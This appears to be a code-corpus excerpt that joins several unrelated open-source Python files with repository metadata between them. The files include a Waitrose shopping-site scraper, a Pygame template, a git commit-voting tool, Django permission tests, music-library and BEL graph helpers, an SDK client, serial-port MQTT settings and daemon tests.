elemName, className, subElem, attrName, regexReplace, destDict=None, dictName=None): rslt = "" try: el = soup.find(elemName, class_=className) if subElem is not "": el = el.find(subElem) if attrName == "text": rslt = el.get_text() else: rslt = el[attrName] if regexReplace is not "": rslt = re.sub(regexReplace, "", rslt) if destDict is not None: destDict[dictName] = rslt except WebDriverException: logging.error("waitrose: Error extracting element " + elemName + " " + className) self.debugDumpPageSource() except: logging.error("waitrose: Error (not webdriver) extracting element " + elemName + " " + className) self.debugDumpPageSource() return rslt def getShoppingItems(self, isTrolleyPage): # Make sure all items on the page are loaded - lazy loader try: self.debugDumpPageSource("m-product") webdriverui.WebDriverWait(self.webDriver, 10)\ .until(EC.visibility_of_element_located((By.CLASS_NAME, "m-product"))) except WebDriverException: logging.error("Wait for m-product webdriver element exception") return [] productsFound = self.webDriver.find_elements_by_class_name("m-product") print("waitrose: Lazy loading products - currently " + str(len(productsFound)) + " found") numRepeats = 0 if len(productsFound) > 10: while True: prevFound = len(productsFound) self.webDriver.execute_script("window.scrollBy(0,window.innerHeight)") productsFound = self.webDriver.find_elements_by_class_name("m-product") print("Loading products - currently " + str(len(productsFound)) + " found") if len(productsFound) <= prevFound: numRepeats += 1 if numRepeats > 20: break else: numRepeats = 0 print("Done lazy loading products " + str(len(productsFound)) + " found") # Go through items in the list on the current page shoppingItems = [] for product in productsFound: # Get HTML for this product basketIt = {} el = product.get_attribute("innerHTML") productSoup = BeautifulSoup(el, "html.parser") # Extract some common details self.getElemAttrIfPresent(productSoup, "a", "m-product-open-details", "", "href", "", basketIt, "detailsHref") self.getElemAttrIfPresent(productSoup, "a", "m-product-open-details", "img", "src", "", basketIt, "imageSrc") self.getElemAttrIfPresent(productSoup, "div", "m-product-volume", "", "text", r"\W", basketIt, "productVolume") # Check if we are doing the trolley page - which has extra info like number of items ordered if isTrolleyPage: self.getElemAttrIfPresent(productSoup, "div", "m-product-title", "a", "text", "", basketIt, "productTitle") if not "productTitle" in basketIt or basketIt["productTitle"] == "": self.getElemAttrIfPresent(productSoup, "a", "m-product-open-details", "img", "title", "", basketIt, "productTitle") self.getElemAttrIfPresent(productSoup, "div", "quantity-append", "input", "value", "", basketIt, "trolleyQuantity") self.getElemAttrIfPresent(productSoup, "p", "m-product-details", "span", "text", "", basketIt, "trolleyPrice") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-price", "", basketIt, "price") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-priceperkg", "", basketIt, "pricePerKg") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-orderitemid", "", basketIt, "orderItemId") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-producttype", "", basketIt, "productType") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-productid", "", basketIt, "productId") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-uom", "", basketIt, "UOM") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-weighttype", "", basketIt, "weightType") self.getElemAttrIfPresent(productSoup, "div", "m-product-details-container", "div", "data-substitute", "", basketIt, "substitute") else: self.getElemAttrIfPresent(productSoup, "div", "m-product-price-container", "span", "text", "\W", basketIt, "price") self.getElemAttrIfPresent(productSoup, "a", "m-product-open-details", "", "text", "", basketIt, "productTitle") if not "productTitle" in basketIt or basketIt["productTitle"] == "": self.getElemAttrIfPresent(productSoup, "a", "m-product-open-details", "img", "title", "", basketIt, "productTitle") # Check if the product at least has a title and only add to list if it does if not "productTitle" in basketIt or basketIt["productTitle"] == "": logging.error("Extract Shopping List: Failed to extract product name") else: shoppingItems.append(basketIt) return shoppingItems def getTrolleyContents(self): # Ensure we wait until the trolley-total is visible try: wait = WebDriverWait(self.webDriver, 20) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "trolley-total"))) except WebDriverException: logging.error("Wait for Trolley-Total webdriver element exception") self.debugDumpPageSource() return None # Navigate to the basket contents try: self.clickButtonByXPath('//div[@class="mini-trolley"]//a') wait = WebDriverWait(self.webDriver, 30) wait.until(EC.visibility_of_element_located((By.ID, "my-trolley"))) except NoSuchElementException: logging.error("Press view trolley button no such element") self.debugDumpPageSource() return None except WebDriverException: logging.error("Press view trolley button webdriver element exception") self.debugDumpPageSource() return None # Get the shopping items on the current page return self.getShoppingItems(True) def getFavourites(self): # Ensure we wait until the favourites is visible try: wait = WebDriverWait(self.webDriver, 20) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "js-navbar-favourites"))) except WebDriverException: logging.error("Wait for favourites button webdriver element exception") self.debugDumpPageSource() return None # Navigate to the favourites try: FAVOURITES_BUTTON_XPATH = '//a[@class="js-navbar-favourites"]' elemBasketBtn = self.webDriver.find_element_by_xpath(FAVOURITES_BUTTON_XPATH) print(elemBasketBtn) elemBasketBtn.click() wait = WebDriverWait(self.webDriver, 60) wait.until(EC.visibility_of_element_located((By.CLASS_NAME, "products-grid"))) except NoSuchElementException: logging.error("Press view favourites button no such element") self.debugDumpPageSource() return None except WebDriverException: logging.error("Press view favourites button webdriver element exception") self.debugDumpPageSource() return None # Get the shopping items on the current page return self.getShoppingItems(False) # Handle site login def siteLogin(self, siteUrl, username, password, titleMustContainStr): # Start webDriver if not self.startWebDriver(): logging.error("Unable to start webdriver") return False self.isInitalized = True # Go to URL logging.info("Webdriver going to " + siteUrl) self.webDriver.get(siteUrl) logging.info("Webdriver site title = " + self.webDriver.title) if not titleMustContainStr in self.webDriver.title: logging.error("Site " + siteUrl + " title doesn't contain " + titleMustContainStr) self.debugDumpPageSource() return False # Handle login self.isLoggedIn = self.websiteLogin(username, password, 1) # Succeeded so far return self.isLoggedIn # Ensure that we are logged in def ensureLoggedIn(self, username, password): # Ensure we are initialised if not self.isInitalized: self.siteLogin("http://www.waitrose.com", username, password, "Waitrose") # Try to login again if not currently logged in if self.isInitalized: if not self.isLoggedIn: self.isLoggedIn = self.websiteLogin(username, password, 2) return self.isLoggedIn
isc
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kidscancode/gamedev
pygame template.py
1
1508
# Pygame Template # Use this to start a new Pygame project # KidsCanCode 2015 import pygame import random # define some colors (R, G, B) WHITE = (255, 255, 255) GREEN = (0, 255, 0) BLUE = (0, 0, 255) BLACK = (0, 0, 0) FUCHSIA = (255, 0, 255) GRAY = (128, 128, 128) LIME = (0, 128, 0) MAROON = (128, 0, 0) NAVYBLUE = (0, 0, 128) OLIVE = (128, 128, 0) PURPLE = (128, 0, 128) RED = (255, 0, 0) SILVER = (192, 192, 192) TEAL = (0, 128, 128) YELLOW = (255, 255, 0) ORANGE = (255, 128, 0) CYAN = (0, 255, 255) # basic constants to set up your game WIDTH = 360 HEIGHT = 480 FPS = 30 BGCOLOR = BLACK # initialize pygame pygame.init() # initialize sound - uncomment if you're using sound # pygame.mixer.init() # create the game window and set the title screen = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption("My Game") # start the clock clock = pygame.time.Clock() # set the 'running' variable to False to end the game running = True # start the game loop while running: # keep the loop running at the right speed clock.tick(FPS) # Game loop part 1: Events ##### for event in pygame.event.get(): # this one checks for the window being closed if event.type == pygame.QUIT: pygame.quit() # add any other events here (keys, mouse, etc.) # Game loop part 2: Updates ##### # Game loop part 3: Draw ##### screen.fill(BGCOLOR) # after drawing, flip the display pygame.display.flip() # close the window pygame.quit()
mit
3,454,655,415,024,161,000
22.937
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0.64
false
JacobFischer/Joueur.py
games/anarchy/forecast.py
1
2074
# Forecast: The weather effect that will be applied at the end of a turn, which causes fires to spread. # DO NOT MODIFY THIS FILE # Never try to directly create an instance of this class, or modify its member variables. # Instead, you should only be reading its variables and calling its functions. from games.anarchy.game_object import GameObject # <<-- Creer-Merge: imports -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs. # you can add additional import(s) here # <<-- /Creer-Merge: imports -->> class Forecast(GameObject): """The class representing the Forecast in the Anarchy game. The weather effect that will be applied at the end of a turn, which causes fires to spread. """ def __init__(self): """Initializes a Forecast with basic logic as provided by the Creer code generator.""" GameObject.__init__(self) # private attributes to hold the properties so they appear read only self._controlling_player = None self._direction = "" self._intensity = 0 @property def controlling_player(self): """The Player that can use WeatherStations to control this Forecast when its the nextForecast. :rtype: games.anarchy.player.Player """ return self._controlling_player @property def direction(self): """The direction the wind will blow fires in. Can be 'north', 'east', 'south', or 'west'. :rtype: str """ return self._direction @property def intensity(self): """How much of a Building's fire that can be blown in the direction of this Forecast. Fire is duplicated (copied), not moved (transfered). :rtype: int """ return self._intensity # <<-- Creer-Merge: functions -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs. # if you want to add any client side logic (such as state checking functions) this is where you can add them # <<-- /Creer-Merge: functions -->>
mit
66,524,175,843,730,740
37.407
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hhucn/git-vote
git-vote/__main__.py
1
3022
import argparse import collections import re import subprocess NOTES_REF = 'refs/notes/votes' Vote = collections.namedtuple('Vote', ['commit', 'user']) def vote(args): assert args.user, 'TODO: determine user automatically' vote = 'vote:%s' % args.user subprocess.check_call([ 'git', 'notes', '--ref', NOTES_REF, 'append', '--allow-empty', '-m', vote, args.COMMIT], cwd=args.repo_dir) # TODO: prevent voting twice as same user def get_all_votes(repo_dir): output_bytes = subprocess.check_output([ 'git', 'notes', '--ref', NOTES_REF, 'list'], cwd=repo_dir) output = output_bytes.decode('utf-8') for line in output.splitlines(): if not line: continue votenote_ref, commit_id = line.split() # TODO use dulwich or something more efficient here votenote_bytes = subprocess.check_output( ['git', 'show', votenote_ref], cwd=repo_dir) votenote_content = votenote_bytes.decode('utf-8') # TODO ignore invalid votes for voteline in votenote_content.splitlines(): if not voteline: continue m = re.match(r'^vote:(?P<user>[a-z0-9@._]+)$', voteline.strip()) # TODO check re for user spec if not m: print('Skipping crap %r' % voteline) continue user = m.group('user') yield Vote(commit=commit_id, user=user) def print_list(args): all_votes = get_all_votes(args.repo_dir) all_votes_sorted = sorted(all_votes, key=lambda v: (v.commit, v.user)) for v in all_votes_sorted: print('%s: +1 from %s' % (v.commit, v.user)) def tally(all_votes): """ Returns a dict commit id => set of users """ res = collections.defaultdict(set) for v in all_votes: res[v.commit].add(v.user) return res def print_tally(args): all_votes = get_all_votes(args.repo_dir) for commit, votes in sorted(tally(all_votes).items(), key=lambda kv: (kv[1], kv[0])): print('%s: %d votes' % (commit, len(votes))) def print_elect(args): all_votes = get_all_votes(args.repo_dir) winner_vcount, winner_commit = max((len(votes), commit) for commit, votes in tally(all_votes).items()) # TODO more algorithms print('%s won the election with %d votes' % (winner_commit, winner_vcount)) def main(): parser = argparse.ArgumentParser('Vote on git commands') parser.add_argument('-r', '--repo-dir', metavar='DIR', help='root directory of the repository to modify') subparsers = parser.add_subparsers(dest='cmd') vote_parser = subparsers.add_parser('vote', help='Vote for commit') vote_parser.add_argument('--user', metavar='USER_ID', help='ID of the user to vote as') vote_parser.add_argument('COMMIT', help='reference to the commit to vote for') subparsers.add_parser('list', help='List all votes') subparsers.add_parser('tally', help='Tally all votes') subparsers.add_parser('elect', help='Elect a commit') args = parser.parse_args() if args.cmd == 'vote': vote(args) elif args.cmd == 'list': print_list(args) elif args.cmd == 'tally': print_tally(args) elif args.cmd == 'elect': print_elect(args) else: parser.print_help() if __name__ == '__main__': main()
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DigitalCampus/django-nurhi-oppia
oppia/tests/av/test_permissions.py
1
2347
from django.urls import reverse from django.test import TestCase from oppia.tests.utils import * class PermissionsViewTest(TestCase): fixtures = ['user.json', 'oppia.json', 'quiz.json', 'permissions.json'] def setUp(self): super(PermissionsViewTest, self).setUp() self.login_url = reverse('profile_login') self.admin_user = { 'user': 'admin', 'password': 'password' } self.staff_user = { 'user': 'staff', 'password': 'password' } self.normal_user = { 'user': 'demo', 'password': 'password' } self.teacher_user = { 'user': 'teacher', 'password': 'password' } def get_view(self, route, user=None): if user is not None: self.client.login(username=user['user'], password=user['password']) return self.client.get(route) def assert_response(self, view, status_code, user=None, view_kwargs=None): route = reverse(view, kwargs=view_kwargs) res = self.get_view(route, user) self.assertEqual(res.status_code, status_code) return res def assert_can_view(self, view, user=None, view_kwargs=None): return self.assert_response(view, 200, user, view_kwargs) def assert_cannot_view(self, view, user=None, view_kwargs=None): return self.assert_response(view, 401, user, view_kwargs) def assert_unauthorized(self, view, user=None, view_kwargs=None): return self.assert_response(view, 403, user, view_kwargs) def assert_must_login(self, view, user=None, view_kwargs=None): route = reverse(view, kwargs=view_kwargs) res = self.get_view(route, user) login_url = self.login_url + '?next=' + route self.assertRedirects(res, login_url) return res ############ upload media file ############# def test_anon_cantview_av_upload(self): self.assert_must_login('oppia_av_upload') def test_admin_canview_av_upload(self): self.assert_can_view('oppia_av_upload', self.admin_user) def test_staff_canview_av_upload(self): self.assert_can_view('oppia_av_upload', self.staff_user) def test_student_cantview_av_upload(self): self.assert_unauthorized('oppia_av_upload', self.normal_user)
gpl-3.0
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kerimlcr/ab2017-dpyo
ornek/lollypop/lollypop-0.9.229/src/web.py
1
7411
# Copyright (c) 2014-2016 Cedric Bellegarde <cedric.bellegarde@adishatz.org> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from gi.repository import GObject, GLib from threading import Thread from time import time from lollypop.sqlcursor import SqlCursor from lollypop.tagreader import TagReader from lollypop.web_youtube import WebYouTube from lollypop.web_jgm90 import WebJmg90 from lollypop.define import Lp, DbPersistent, Type from lollypop.lio import Lio class Web(GObject.Object): """ Web helper """ __gsignals__ = { 'saved': (GObject.SignalFlags.RUN_FIRST, None, (int,)), 'progress': (GObject.SignalFlags.RUN_FIRST, None, (float,)) } def play_track(track, play, callback): """ Play track @param track as Track @param play as bool @param callback as func(uri: str, track: Track, play: bool) """ if track.is_jgm: uri = WebJmg90.get_uri_content(track.uri) elif track.is_youtube: uri = WebYouTube.get_uri_content(track.uri) else: return GLib.idle_add(callback, uri, track, play) def __init__(self): """ Init helper """ GObject.Object.__init__(self) self.__helpers = [WebJmg90(), WebYouTube()] def save_track(self, item, persistent): """ Save item into collection as track @param item as SearchItem @param persistent as DbPersistent """ t = Thread(target=self.__save_track_thread, args=(item, persistent)) t.daemon = True t.start() def save_album(self, item, persistent): """ Save item into collection as album @param item as SearchItem @param persistent as DbPersistent """ t = Thread(target=self.__save_album_thread, args=(item, persistent)) t.daemon = True t.start() ####################### # PRIVATE # ####################### def __save_album_thread(self, item, persistent): """ Save item into collection as album @param item as SearchItem @param persistent as DbPersistent """ nb_items = len(item.subitems) # Should not happen but happen :-/ if nb_items == 0: return start = 0 album_artist = item.subitems[0].artists[0] album_id = None for track_item in item.subitems: (album_id, track_id) = self.__save_track(track_item, persistent, album_artist) if track_id is None: continue # Download cover if start == 0: t = Thread(target=self.__save_cover, args=(item, album_id)) t.daemon = True t.start() start += 1 GLib.idle_add(self.emit, "progress", start / nb_items) GLib.idle_add(self.emit, "progress", 1) if Lp().settings.get_value('artist-artwork'): Lp().art.cache_artists_info() if album_id is not None: GLib.idle_add(self.emit, "saved", album_id) def __save_track_thread(self, item, persistent): """ Save item into collection as track @param item as SearchItem @param persistent as DbPersistent """ album_artist = item.artists[0] (album_id, track_id) = self.__save_track(item, persistent, album_artist) if track_id is None: return self.__save_cover(item, album_id) if Lp().settings.get_value('artist-artwork'): Lp().art.cache_artists_info() GLib.idle_add(self.emit, "saved", track_id) def __save_track(self, item, persistent, album_artist): """ Save item into collection as track @param item as SearchItem @param persistent as DbPersistent @param album artist as str @return (album id as int, track id as int) """ # Get uri from helpers for helper in self.__helpers: uri = helper.get_uri(item) if uri: break # Don't found anything if not uri: return (None, None) track_id = Lp().tracks.get_id_by_uri(uri) # Check if track needs to be updated if track_id is not None: if Lp().tracks.get_persistent(track_id) == DbPersistent.NONE\ and persistent == DbPersistent.EXTERNAL: Lp().tracks.set_persistent(track_id, DbPersistent.EXTERNAL) return (None, None) t = TagReader() with SqlCursor(Lp().db) as sql: # Happen often with Itunes/Spotify if album_artist not in item.artists: item.artists.append(album_artist) artists = "; ".join(item.artists) artist_ids = t.add_artists(artists, album_artist, "") album_artist_ids = t.add_album_artists(album_artist, "") (album_id, new_album) = t.add_album(item.album, album_artist_ids, "", False, 0, 0, int(time()), True) # FIXME: Check this, could move this in add_album() if new_album: Lp().albums.set_synced(album_id, Type.NONE) if persistent == DbPersistent.CHARTS: genre_ids = [Type.CHARTS] new_artist_ids = [] else: new_artist_ids = list(set(artist_ids) | set(album_artist_ids)) genre_ids = t.add_genres("Web", album_id) # Add track to db track_id = Lp().tracks.add(item.name, uri, item.duration, 0, item.discnumber, "", album_id, item.year, 0, 0, 0, persistent) t.update_track(track_id, artist_ids, genre_ids) t.update_album(album_id, album_artist_ids, genre_ids, None) sql.commit() for genre_id in genre_ids: GLib.idle_add(Lp().scanner.emit, 'genre-updated', genre_id, True) for artist_id in new_artist_ids: GLib.idle_add(Lp().scanner.emit, 'artist-updated', artist_id, True) return (album_id, track_id) def __save_cover(self, item, album_id): """ Save cover to store @param item as SearchItem @param album id as int """ f = Lio.File.new_for_uri(item.cover) (status, data, tag) = f.load_contents(None) if status: Lp().art.save_album_artwork(data, album_id)
gpl-3.0
2,696,436,820,573,915,000
36.619
79
0.547
false
pybel/pybel
src/pybel/io/nodelink.py
1
7238
# -*- coding: utf-8 -*- """Conversion functions for BEL graphs with node-link JSON.""" import gzip import json from io import BytesIO from itertools import chain, count from operator import methodcaller from typing import Any, Mapping, TextIO, Union from networkx.utils import open_file from .utils import ensure_version from ..constants import ( ANNOTATIONS, CITATION, FUSION, GRAPH_ANNOTATION_CURIE, GRAPH_ANNOTATION_LIST, GRAPH_ANNOTATION_MIRIAM, MEMBERS, PARTNER_3P, PARTNER_5P, PRODUCTS, REACTANTS, SOURCE_MODIFIER, TARGET_MODIFIER, ) from ..dsl import BaseEntity from ..language import citation_dict from ..struct import BELGraph from ..struct.graph import _handle_modifier from ..tokens import parse_result_to_dsl from ..utils import hash_edge, tokenize_version __all__ = [ 'to_nodelink', 'to_nodelink_file', 'to_nodelink_gz', 'to_nodelink_jsons', 'from_nodelink', 'from_nodelink_file', 'from_nodelink_gz', 'from_nodelink_jsons', 'to_nodelink_gz_io', 'from_nodelink_gz_io', ] def to_nodelink(graph: BELGraph) -> Mapping[str, Any]: """Convert this graph to a node-link JSON object. :param graph: BEL Graph """ graph_json_dict = _to_nodelink_json_helper(graph) _prepare_graph_dict(graph_json_dict['graph']) return graph_json_dict def _prepare_graph_dict(g): # Convert annotation list definitions (which are sets) to canonicalized/sorted lists g[GRAPH_ANNOTATION_LIST] = { keyword: list(sorted(values)) for keyword, values in g.get(GRAPH_ANNOTATION_LIST, {}).items() } g[GRAPH_ANNOTATION_CURIE] = list(sorted(g[GRAPH_ANNOTATION_CURIE])) g[GRAPH_ANNOTATION_MIRIAM] = list(sorted(g[GRAPH_ANNOTATION_MIRIAM])) @open_file(1, mode='w') def to_nodelink_file(graph: BELGraph, path: Union[str, TextIO], **kwargs) -> None: """Write this graph as node-link JSON to a file. :param graph: A BEL graph :param path: A path or file-like """ graph_json_dict = to_nodelink(graph) json.dump(graph_json_dict, path, ensure_ascii=False, **kwargs) def to_nodelink_gz(graph, path: str, **kwargs) -> None: """Write a graph as node-link JSON to a gzip file.""" with gzip.open(path, 'wt') as file: json.dump(to_nodelink(graph), file, ensure_ascii=False, **kwargs) def to_nodelink_jsons(graph: BELGraph, **kwargs) -> str: """Dump this graph as a node-link JSON object to a string.""" return json.dumps(to_nodelink(graph), ensure_ascii=False, **kwargs) def from_nodelink(graph_json_dict: Mapping[str, Any], check_version: bool = True) -> BELGraph: """Build a graph from node-link JSON Object.""" pybel_version = tokenize_version(graph_json_dict['graph']['pybel_version']) if pybel_version[1] < 14: # if minor version is less than 14 raise ValueError('Invalid NodeLink JSON from old version of PyBEL (v{}.{}.{})'.format(*pybel_version)) graph = _from_nodelink_json_helper(graph_json_dict) return ensure_version(graph, check_version=check_version) @open_file(0, mode='r') def from_nodelink_file(path: Union[str, TextIO], check_version: bool = True) -> BELGraph: """Build a graph from the node-link JSON contained in the given file. :param path: A path or file-like """ return from_nodelink(json.load(path), check_version=check_version) def from_nodelink_gz(path: str) -> BELGraph: """Read a graph as node-link JSON from a gzip file.""" with gzip.open(path, 'rt') as file: return from_nodelink(json.load(file)) def from_nodelink_jsons(graph_json_str: str, check_version: bool = True) -> BELGraph: """Read a BEL graph from a node-link JSON string.""" return from_nodelink(json.loads(graph_json_str), check_version=check_version) def _to_nodelink_json_helper(graph: BELGraph) -> Mapping[str, Any]: """Convert a BEL graph to a node-link format. :param graph: BEL Graph Adapted from :func:`networkx.readwrite.json_graph.node_link_data` """ nodes = sorted(graph, key=methodcaller('as_bel')) mapping = dict(zip(nodes, count())) return { 'directed': True, 'multigraph': True, 'graph': graph.graph.copy(), 'nodes': [ _augment_node(node) for node in nodes ], 'links': [ dict( chain( data.copy().items(), [('source', mapping[u]), ('target', mapping[v]), ('key', key)], ), ) for u, v, key, data in graph.edges(keys=True, data=True) ], } def _augment_node(node: BaseEntity) -> BaseEntity: """Add the SHA-512 identifier to a node's dictionary.""" rv = node.copy() rv['id'] = node.md5 rv['bel'] = node.as_bel() for m in chain(node.get(MEMBERS, []), node.get(REACTANTS, []), node.get(PRODUCTS, [])): m.update(_augment_node(m)) if FUSION in node: node[FUSION][PARTNER_3P].update(_augment_node(node[FUSION][PARTNER_3P])) node[FUSION][PARTNER_5P].update(_augment_node(node[FUSION][PARTNER_5P])) return rv def _recover_graph_dict(graph: BELGraph): graph.graph[GRAPH_ANNOTATION_LIST] = { keyword: set(values) for keyword, values in graph.graph.get(GRAPH_ANNOTATION_LIST, {}).items() } graph.graph[GRAPH_ANNOTATION_CURIE] = set(graph.graph.get(GRAPH_ANNOTATION_CURIE, [])) graph.graph[GRAPH_ANNOTATION_MIRIAM] = set(graph.graph.get(GRAPH_ANNOTATION_MIRIAM, [])) def _from_nodelink_json_helper(data: Mapping[str, Any]) -> BELGraph: """Return graph from node-link data format. Adapted from :func:`networkx.readwrite.json_graph.node_link_graph` """ graph = BELGraph() graph.graph = data.get('graph', {}) _recover_graph_dict(graph) mapping = [] for node_data in data['nodes']: node = parse_result_to_dsl(node_data) graph.add_node_from_data(node) mapping.append(node) for data in data['links']: u = mapping[data['source']] v = mapping[data['target']] edge_data = { k: v for k, v in data.items() if k not in {'source', 'target', 'key'} } for side in (SOURCE_MODIFIER, TARGET_MODIFIER): side_data = edge_data.get(side) if side_data: _handle_modifier(side_data) if CITATION in edge_data: edge_data[CITATION] = citation_dict(**edge_data[CITATION]) if ANNOTATIONS in edge_data: edge_data[ANNOTATIONS] = graph._clean_annotations(edge_data[ANNOTATIONS]) graph.add_edge(u, v, key=hash_edge(u, v, edge_data), **edge_data) return graph def to_nodelink_gz_io(graph: BELGraph) -> BytesIO: """Get a BEL graph as a compressed BytesIO.""" bytes_io = BytesIO() with gzip.GzipFile(fileobj=bytes_io, mode='w') as file: s = to_nodelink_jsons(graph) file.write(s.encode('utf-8')) bytes_io.seek(0) return bytes_io def from_nodelink_gz_io(bytes_io: BytesIO) -> BELGraph: """Get BEL from gzipped nodelink JSON.""" with gzip.GzipFile(fileobj=bytes_io, mode='r') as file: s = file.read() j = s.decode('utf-8') return from_nodelink_jsons(j)
mit
2,647,336,991,651,230,700
31.169
115
0.636
false
seecr/meresco-examples
meresco/__init__.py
1
1394
## begin license ## # # "Meresco Examples" is a project demonstrating some of the # features of various components of the "Meresco Suite". # Also see http://meresco.org. # # Copyright (C) 2007-2008 SURF Foundation. http://www.surf.nl # Copyright (C) 2007-2010 Seek You Too (CQ2) http://www.cq2.nl # Copyright (C) 2007-2009 Stichting Kennisnet Ict op school. http://www.kennisnetictopschool.nl # Copyright (C) 2009 Delft University of Technology http://www.tudelft.nl # Copyright (C) 2009 Tilburg University http://www.uvt.nl # # This file is part of "Meresco Examples" # # "Meresco Examples" is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # "Meresco Examples" is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with "Meresco Examples"; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # ## end license ## from pkgutil import extend_path __path__ = extend_path(__path__, __name__)
gpl-2.0
-214,853,663,805,945,660
42.563
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Mozu/mozu-python-sdk
mozurestsdk/platform/tenantextensions.py
1
2242
""" This code was generated by Codezu. Changes to this file may cause incorrect behavior and will be lost if the code is regenerated. """ from mozurestsdk.mozuclient import default as default_client from mozurestsdk.mozuurl import MozuUrl; from mozurestsdk.urllocation import UrlLocation from mozurestsdk.apicontext import ApiContext; class TenantExtensions(object): def __init__(self, apiContext: ApiContext = None, mozuClient = None): self.client = mozuClient or default_client(); if (apiContext is not None): self.client.withApiContext(apiContext); else: self.client.withApiContext(ApiContext()); def getExtensions(self,responseFields = None): """ Retrieves the Arc.js configuration settings for a site. Args: | responseFields (string) - Filtering syntax appended to an API call to increase or decrease the amount of data returned inside a JSON object. This parameter should only be used to retrieve data. Attempting to update data using this parameter may cause data loss. Returns: | TenantExtensions Raises: | ApiException """ url = MozuUrl("/api/platform/extensions/?responseFields={responseFields}", "GET", UrlLocation.TenantPod, False); url.formatUrl("responseFields", responseFields); self.client.withResourceUrl(url).execute(); return self.client.result(); def updateExtensions(self,extensions, responseFields = None): """ Updates the Arc.js configuration settings for a site. Args: | extensions(extensions) - The updated details of the Arc.js configuration settings. | responseFields (string) - Filtering syntax appended to an API call to increase or decrease the amount of data returned inside a JSON object. This parameter should only be used to retrieve data. Attempting to update data using this parameter may cause data loss. Returns: | TenantExtensions Raises: | ApiException """ url = MozuUrl("/api/platform/extensions/?responseFields={responseFields}", "PUT", UrlLocation.TenantPod, False); url.formatUrl("responseFields", responseFields); self.client.withResourceUrl(url).withBody(extensions).execute(); return self.client.result();
apache-2.0
-7,380,671,656,172,497,000
32.182
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nigelb/SerialGrabber
examples/MQTT/SerialGrabber_Settings.py
1
2043
#!/usr/bin/env python # SerialGrabber reads data from a serial port and processes it with the # configured processor. # Copyright (C) 2012 NigelB # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. import serial from serial_grabber.extractors import TransactionExtractor from serial_grabber.reader.SerialReader import SerialReader from serial_grabber.processor.UploadProcessor import UploadProcessor from serial_grabber.processor import CompositeProcessor from serial_grabber.mqtt import MqttCommander from serial_grabber.connections import SerialConnection # Serial Settings timeout = 1 port = "/dev/ttyUSB0" baud = 57600 parity = serial.PARITY_NONE stop_bits = 1 # MQTT settings mqtt_host = "localhost" mqtt_port = 1883 mqtt_auth = ('system', 'manager') # Settings cache_collision_avoidance_delay = 1 processor_sleep = 1 watchdog_sleep = 1 reader_error_sleep = 1 drop_carriage_return = True transaction = TransactionExtractor("default", "BEGIN DATA", "END DATA") reader = SerialReader(transaction, 1000, SerialConnection(port, baud, timeout=timeout, parity=parity, stop_bits=stop_bits)) commander = MqttCommander(mqtt_host, mqtt_port, mqtt_auth) uploadProcessor = UploadProcessor("https://example.org/cgi-bin/upload.py") processor = CompositeProcessor([commander.processor, uploadProcessor])
gpl-2.0
1,560,382,958,900,706,000
33.05
75
0.752
false
lqmanh/daethon
test_daethon.py
1
1817
import os import sys import time import pytest from daethon import Daemon class TDaemon(Daemon): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) with open('testing_daemon', 'w') as f: f.write('inited') def run(self): time.sleep(1) with open('testing_daemon', 'w') as f: f.write('finished') def file_contains(path, s): with open(path) as f: return f.read() == s def control_daemon(action): os.system(' '.join((sys.executable, __file__, action))) @pytest.fixture def context(): control_daemon('start') time.sleep(0.5) yield if os.path.exists('testing_daemon.pid'): control_daemon('stop') time.sleep(0.5) os.system('rm testing_daemon*') # clean up files if necessary def test_daemon_can_start(context): assert os.path.exists('testing_daemon.pid') assert file_contains('testing_daemon', 'inited') def test_daemon_can_stop(context): control_daemon('stop') time.sleep(0.5) assert not os.path.exists('testing_daemon.pid') assert file_contains('testing_daemon', 'inited') def test_daemon_can_finish(context): time.sleep(1) assert not os.path.exists('testing_daemon.pid') assert file_contains('testing_daemon', 'finished') def test_daemon_can_restart(context): with open('testing_daemon.pid') as f: pid1 = f.read() time.sleep(0.5) control_daemon('restart') time.sleep(0.5) with open('testing_daemon.pid') as f: pid2 = f.read() assert pid1 != pid2 if __name__ == '__main__': if len(sys.argv) == 2: arg = sys.argv[1] if arg in ('start', 'stop', 'restart'): d = TDaemon('testing_daemon.pid', verbose=0) getattr(d, arg)() else: pytest.main()
apache-2.0
-3,047,666,419,461,129,700
22.597
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0.603
false
msteinhoff/foption-bot
src/python/core/messages.py
1
2244
